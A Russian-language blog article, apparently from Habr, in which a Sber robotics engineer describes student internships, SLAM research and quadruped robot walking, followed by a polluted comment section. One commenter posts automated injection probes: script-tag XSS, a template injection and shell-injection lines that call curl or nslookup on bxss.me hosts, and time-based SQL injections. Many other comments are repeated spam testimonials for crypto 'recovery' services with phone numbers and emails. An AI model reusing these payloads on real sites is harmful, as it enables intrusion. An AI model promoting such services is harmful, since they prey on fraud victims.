Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Стажировки по робототехнике, или Как прокачать практические компетенции

a764ecf37c2c38a0a2459c6c819d9973.jpg

Привет, Хабр! Сегодня поговорим о том, как молодому специалисту попасть на работу в центр робототехники. Расскажем об одном из путей (не реклама, но уникальная возможность для робототехников в России)

О мотивации

Так сложилось, что работая инженером робототехником в Центре робототехники Сбер, мне очень хотелось развить робототехническое сообщество в России и передать свой уникальный опыт другим инженерам. Для этого были организованы ROS Meetup и совместная работа с университетами, с возможностью молодым специалистам постепенно включаться в научную и прикладную работу вместе со Сбером. За все время были опробованы различные форматы, но рассказано будет о тех которые показали наилучший результат.

Когда мы начали налаживать совместные исследования и работу со студентами в различных университетах – с кем то “не пошло”, а с кем-то, наоборот, сложилась плодотворная работа. Мне кажется с некоторыми не сложилось потому, что, как мне кажется, в словах “Лаборатория робототехники Сбера” многие читали только слово “банк”, и им мерещились мешки с деньгами. Они ожидали, что им дадут денег и отстанут с неудобными вопросами где тут бизнес, заказчик и так далее.

Одна из главных составляющих успешной работы – внутренняя мотивация и огонь в глазах студентов и аспирантов. Без этого нет смысла даже начинать, они просто не смогут пройти через огонь, медные трубы и боль с ROS :-) Поэтому проверочный тест для тебя – ответь чем бы ты хотел заниматься, если бы тебе за это не платили? Или чем бы ты был готов заниматься за свои деньги? Хобби, на которое ты тратишь деньги? Если ответ не “робототехника”, то тест не пройден. Только в деле, которым ты горишь, и готов заниматься дни и ночи на пролет, преодолевая трудности и самостоятельно приобретая необходимые знания, только в этом деле ты можешь стать мастером! Станешь мастером – деньги придут. Рекомендую почитать в интернете материалы на тему “10000 часов практики = мастерство в любом деле”.

За многие годы работы с людьми и студентами у меня сложилась методология вовлечения и проверки студентов, которая состоит из определенных тестов и различных задачек по робототехнике, которые позволяют студентам пройти эти условные 10000 часов практики, набирая опыт, и показать свою мотивацию и способности. Задачки связаны с программированием, ROS, deep learning, чтением и анализом научных статей. Они разные и приближены к задачам, которыми мы занимаемся в Центре ( Лабораторию мы давно переросли), но также они про что-то новое, в чем то даже у меня пока нет компетенций. Тут надо пояснить, что мы занимаемся не только прикладными исследованиями и разработками, но и поиском чего-то нового, что перевернет мир, а для этого нужно чтобы мозги работали по-другому. Должно быть желание браться за задачки, которые ты сейчас не знаешь, как решить, и способность копать в них до победного. Некоторые из сотрудников Центра шутят про себя в стиле мема ”Слабоумие и отвага”. Этим словосочетанием называем поведение людей, которые безрассудно бросаются в самую гущу событий, когда сначала стоило бы подумать. Это не значит, что мы не думаем, некоторые сотрудники из нашей команды порой излишне критичны. Но, чтобы решать сложные и амбициозные задачи, нужно обладать значительной смелостью и самоуверенностью.

Одна из тем, которая меня очень интересовала, был SLAM и визуальное восприятие роботом окружающего мира. Я перерыл весь интернет, научные статьи, github на эту тему, имея при этом опыт работы с такими классическими алгоритмами, как AMCL и Gmapping. Это привело к возникновению различных идей, представляющих научную новизну. Тогда я еще занимался проектом мобильного робота-курьера и робота-дезинфектора, эти идеи хорошо ложились на его навигацию. Нам всегда нужно думать над прикладным применением своих исследований.

В это время мы начали совместную работу с профессором Сергеем Алексеевичем Колюбиным из ИТМО («Санкт-Петербургский национальный исследовательский университет информационных технологий, механики и оптики»), и ко мне на практику пришли ребята, желающие заниматься этой тематикой. Один из них был Малик, который сразу мне запомнился на собеседовании своим pet-робот проектом. Это пример мотивации и увлеченности робототехникой. Собирайте своих роботов дома, пишите про них статьи, выступайте с докладами про них на ROS meetup, который состоиться уже 3 февраля.

Несмотря на то, что ребята были в Санкт-Петербурге, а мы в Москве, мы каждый день переписывались и регулярно созванивались по видеосвязи, позже ребята несколько раз приезжали к нам в командировку. Тогда методика работы состояла в анализе научных статей, поиска и тестирования бейзлайнов. До этого было проделано много работы, у меня были наработки, мы со студентами из Сколтеха провели анализ и тестирование топовых SLAM алгоритмов, написали по итогам обзорную научную статью.

Через некоторое время анализа и тестов, были выбраны гипотезы и бейзлайны. Кратко, основных идей было две:

  1. Расширить представление до семантических карт, когда робот понимал не только геометрию пространства и цветовые фичи, но и смысловую информацию о пространстве, как это делает человек. Что здесь – пол, тут – холодильник, а там – человек, и они имеют некоторую целостную меш(сетка описывающая геометрию поверхности из полигонов). Но сделать это так, чтобы это было максимально дешево с точки зрения сенсоров и могло работать в реальном времени.

  2. Повысить робастность визуальной одометрии за счет комплексирования данных с IMU и колесной одометрии. Это решало проблему с отсутствием визуальных фич в визуальных SLAM в некоторых моментах, что ломало трек, который например строил orb slam.

За бейзлайны тогда были выбраны Kimera и ORB SLAM. Ребята разбирали их исходный код. Тема сложная, нужно знать много дисциплин, математики, программирования и т.д. И база у ребят в виде обучения в ИТМО и предыдущих университетах была. Но не сказать, что этого хватало, поэтому им приходилось много доучивать на лету самостоятельно.

Через какое-то время у нас уже сложились свои модификации комбинации алгоритмов. Пора было тестировать на реальных данных. Для этого был выбран в качестве мобильной базы робот-курьер нашей, на тот момент, Лаборатории робототехники Сбер и собран стенд с различными сенсорами. Ребята несколько раз приезжали к нам в командировку: собирали стенд своими руками и записывали датасет, катая робота по Лаборатории.

На этих датасетах уже своими алгоритмами удалось построить семантическую карту лаборатории и робастную траекторию, несмотря на резкие повороты и закрывание камеры на некоторое время рукой. Это уже можно было считать прорывом. Поэтому была начата работа по написанию научных статей.

Написание и публикация научных статей у нас очень затянулась, их приняли не с первого раза. Но упорство ребят помогло преодолеть все трудности, мы устранили замечания ревьюеров и в 2023 году две наши научные статьи и приняли на топовую конференцию IROS: визуально-инерциально-колесный SLAM и семантичекские карты. Это была победа, выражаю благодарность всем соавторам, вы великие молодцы!

Эти достижения не остались незамеченными и двое аспирантов ИТМО теперь работают по этим темам у нас в лаборатории.

Малик и Джафар инженеры-исследователи в Центре робототехники Сбер
Малик и Джафар инженеры-исследователи в Центре робототехники Сбер

Чуть позже, я взялся за еще одну научную тему с походками четвероногих роботов. Это тоже моя область личного интереса, да-да, то, что я говорил в начале статьи – внутренняя мотивация решает, без этого я бы не вытянул, да еще и в личное время, а не в рабочее.

Вдохновлялся, понятно, много лет назад с видео от Boston Dynamics. Но в 2019 году появились научные статьи Бена Катца и Джеральда Ди Карло про MIT mini cheetah. Тогда я понял, что вполне реально сделать такого робота и запрограммировать его походку. Позже у нас в лаборатории появится Unitree A1, который в каком-то смысле копия-переработка mini cheetah, но от китайцев.

Тогда с Владиславом, студентом из Бауманки, мы занялись на тот момент только зарождающейся темой RL для таких роботов. Была очень интересная статья от ETH, но на дорогущем роботе ETH Animal. Я подумал, а почему бы не попробовать сделать примерно тоже самое, но на роботе Unitree A1. Тут я немного пропущу предшествующую работу, почему было выбрано именно это направление, но к этому времени у нас уже были свои наработки в симуляторе с RL.

В симуляторе модель робота худо бедно ходила. И предстояла сложная задача по переносу этого инференса на реального робота. На это ушло несколько месяцев. Стоило это еще несколько моих седых волос, потому что когда я заходил к Владиславу посмотреть, как он пытается запустить это на роботе, а робот, взбесившись, начинает молотить лапами в разные стороны, разрушая себя, мое сердце обливалось кровью... К моему удивлению робот выжил, и через некоторое время после огромных трудов пошел. Это было целое событие!

Затем у нас Сергеем Колюбиным сложилась еще одна команда, но уже по роботам-собачкам. Тогда, исходя из компетенций студентов, было принято решение пойти по альтернативной ветке и для походки робота использовать MPC.

Этот путь оказался посложнее, так как ту нужно было знать теорию оптимального управления и сильно погрузиться в низкоуровневое программирование на C++. Но студенты ИТМО тут тоже справились. И робот в симуляторе пошел.

Но идея была не просто пойти, а подняться по лестнице и со зрением. Тут было много ROS, разных пакетов и кодинга. Реализация состояла в том, что робот видел лестницу через камеру, строил сшитую карту высот, вычислял угол наклона лестницы и в соответствии с этим задавал целевые ориентацию тела, ставил лапы на плоскости ступенек.

Вот видео где робот впервые смог подняться по лестнице:

Позже я еще набрал студентов и аспирантов для продолжения работ. И сейчас они, используя все наработки, продолжают работу по этим тематикам, но это пока секретные работы, про которые может быть расскажу позже.

Что можно сказать по итогу статьи. Для робототехников с горящими глазами я всегда найду путь, по которому они смогут влиться в совместную работу с нами и вырасти в мастеров своего дела. А для тех, кто уже является профессионалами робототехниками, у нас есть вакансии и различные варианты сотрудничества. Можете писать мне тут на хабре в личку или в Телеграм, найти меня можно в нашем чате ROS-сообщества.

А еще у нас есть хорошая новость, 3 февраля пройдет ROS Meetup на ВДНХ и можно будет посмотреть на наших роботов собак и пообщаться лично, регистрируйся на мероприятие.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away 